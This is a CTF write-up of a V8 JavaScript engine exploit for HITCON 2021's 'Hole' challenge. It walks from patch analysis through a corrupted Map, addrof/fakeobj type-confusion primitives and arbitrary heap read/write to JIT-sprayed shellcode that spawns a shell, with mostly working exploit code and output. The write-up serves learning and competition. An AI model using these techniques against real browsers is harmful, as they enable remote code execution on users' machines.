HITCON CTF 2021: Hole

A Journey Into V8 Exploitation

This challenge was my first V8 exploit. I finally managed to solve the challenge around a day after the CTF, but it really taught me a lot! The challenge provides a specific version of the V8 JavaScript Engine along with the applied patches. We will start by exploring the patch and will work our way up to a full exploit. 😀

Patch Analysis

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 6e0cd408e7..aafdfb8544 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));

+    uint32_t len = args.length();
+    if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
+    return ReadOnlyRoots(isolate).the_hole_value();
 namespace {

 V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index 78b0229011..55aaaa03df 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {

   // This check breaks a known exploitation technique. See crbug.com/1263462
-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+  //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

   const TNode table =
       LoadObjectField(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0e98586f7f..28a46f2856 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -413,6 +413,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel)                         \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel)                      \
+  CPP(ArrayHole)                                                               \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 79bdfbddcf..c42ad4c789 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtin::kArrayHole:
+      return Type::Oddball();

     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 9040e95202..a77333287a 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle global_object,
                           Builtin::kArrayPrototypeFindIndex, 1, false);
     SimpleInstallFunction(isolate_, proto, "lastIndexOf",
                           Builtin::kArrayPrototypeLastIndexOf, 1, false);
+    SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
     SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
                           0, false);
     SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,

Two main things stand out from this patch. The first is the new ArrayHole builtin. This is accessed using the .hole() method on a JSArray type. The second interesting feature of the patch is how it disables the CSA_CHECK. Following the commented reference to crbug.com/1263462 gives us some more useful information.

It turns out that TheHole is a sentinel value used as a placeholder in arrays where some index has no value. This special value is handled differently by certain JS builtins such as Map. Using the new hole builtin along with the snippet from the bug report, we can create a map with map.size == -1. For some mysterious reason, this only works if we use [].hole() at every step in the process, instead of trying to store the hole value in a variable.

var map = new Map();
map.set(1, 1);
map.set([].hole(), 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1

// Size is now -1

Great! Now we have a corrupted map! But what can we do with it? Naturally, hash maps can be unpredictable and difficult to work with for exploitation. So we can use our hash map to overwrite the length field of a JSArray. With (a lot) of trial and error, we find that the following combination overwrites the length of an array on the V8 heap!

arr = new Array(1.1, 1.1);

// Overwrite the length of arr
map.set(0x10, -1);
map.set(arr, 0xffff);

console.log(arr.size) // size is 65535

With this corrupted array, we pretty much have free range over the V8 heap, but what can we do here? We will use classic type confusion to create some primitives which achieve arbitrary read and write on the heap. From there we can use JIT Spraying to achieve arbitrary code execution. One step at a time 😀!

var float_arr = new Array(1.1, 1.1);
var object_arr = new Array({}, {});

fl_map = ftoi(arr[8]) >> 32n;
obj_map = ftoi(arr[21]) >> 32n;

off = obj_map - fl_map

console.log("[+] Float Map: " + hex(fl_map));
console.log("[+] Object Map: " + hex(obj_map));

map_sec_base = fl_map - 0xd9c1n;

console.log("[+] Map Section Base : " + hex(map_sec_base));

function addrof(o) {
    s = object_arr[0];
    object_arr[0] = o;
    arr[21] = itof((fl_map << 32n) + (ftoi(arr[21]) & 0xffffffffn));
    r = ftoi(object_arr[0]);
    arr[21] = itof((obj_map << 32n) + (ftoi(arr[21]) & 0xffffffffn));
    object_arr[0] = s;
    return r & 0xffffffffn;

function fakeobj(a) {
    s = float_arr[0];
    float_arr[0] = itof(a);
    arr[8] = itof((obj_map << 32n) + (ftoi(arr[8]) & 0xffffffffn));
    o = float_arr[0];
    arr[8] = itof((fl_map << 32n) + (ftoi(arr[8]) & 0xffffffffn));
    float_arr[0] = s;
    return o;

At this point I am drawing lots of inspiration from this excellent writeup on Faith's blog. The only difference is that we must manually calculate offsets from our corrupted array. The basic idea is that we can overwrite an array's Map property which stores information about its type and inner workings. This is not to be confused with the actual Map data structure. Basically, we can overwrite an object array's map to a float array map to read the address of the first object in the array. We can overwrite a float array's map with an object array map to create a fake object at the address of the first float in the list. This fake object primitive will help us construct our arbitrary write on the V8 heap. Keep in mind we must perform some bitwise math to deal with pointer compression and tagging. This is another important difference from Faith's writeup. A good explanation of these concepts is written here. Finally, we are ready to build the read and write primitives.

var fake_arr = [itof(fl_map), 1.1, 1.2, 1.3];
var fake = fakeobj(addrof(fake_arr) + 0x20n);

function read(a) {
    p = fake_arr[1];
    if (a % 2n == 0) {
        a += 1n;
    fake_arr[1] = itof((8n << 32n) + (a - 8n));
    l = ftoi(fake[0]);
    fake_arr[1] = p;
    return l;

function write(a, v) {
    p = fake_arr[1];
    if (a % 2n == 0) {
        a += 1n;
    fake_arr[1] = itof((8n << 32n) + (a - 8n));
    fake[0] = itof(BigInt(v));
    fake_arr[1] = p;

In this stage we create a fake float array object on the heap. Each element in fake_arr is interpreted as a float pointer in fake. We use the fake object to read and write from arbitrary locations on the heap. All that is left is to overwrite some JITed code with our shellcode. This method is documented in this nice writeup. This is the only reliable method I could find to escape the V8 heap sandbox.

const foo = ()=>
    return [1.0,
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}

faddr = addrof(foo)
jaddr = read(faddr + 0x18n) & 0xffffffffn;
code = read(jaddr + 0xcn) + 0x73n;

console.log("[+] JIT Shellcode: " + hex(code));

f = () => 123;

f_code = read(addrof(f) + 0x18n) & 0xffffffffn;
console.log("[+] Function Code: " + hex(f_code));
write(f_code + 0xcn, code);

f(); // call our shellcode!

All together, our exploit launches a shell! The final script is here. Happy browser hacking!

michael@debian:~$ ./d8 pwn.js
[+] Float Map: 0x18d9c1
[+] Object Map: 0x18da41
[+] Map Section Base : 0x180000
[+] JIT Shellcode: 0x561ea0005273
[+] Function Code: 0x1467ed
$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)

Helpful Takeaways and Tricks

Helpful Hints: When doing V8 exploitation, it helps to run V8 with the "allow natives syntax" flag, so that you can access special debugging features such as Debug Print! The "shell" flag allows you to run an interactive session! Of course, all of these flags work within gdb or whichever debugger you choose to use.

./d8 --allow-natives-syntax --shell exploit.js 
V8 version 11.0.0 (candidate)
d8> a = []
d8> %DebugPrint(a)

It can also be nice to work with a docker image for challenges like this. The one I used is below.

FROM debian:11.5
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y curl git python2 python3 python-is-python3 xz-utils lsb-release sudo \
pkg-config binutils npm gdb
RUN git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
RUN echo "export PATH=/depot_tools:$PATH" >> ~/.bashrc
ENV PATH=/depot_tools:$PATH
RUN fetch v8
RUN git checkout 63cb7fb817e60e5633fb622baf18c59da7a0a682
RUN gclient sync
ADD d8_strip_global.patch d8_strip_global.patch
ADD add_hole.patch add_hole.patch
RUN git apply d8_strip_global.patch
RUN git apply add_hole.patch
RUN tools/dev/gm.py x64.debug
WORKDIR tools/turbolizer
RUN npm i && npm run-script build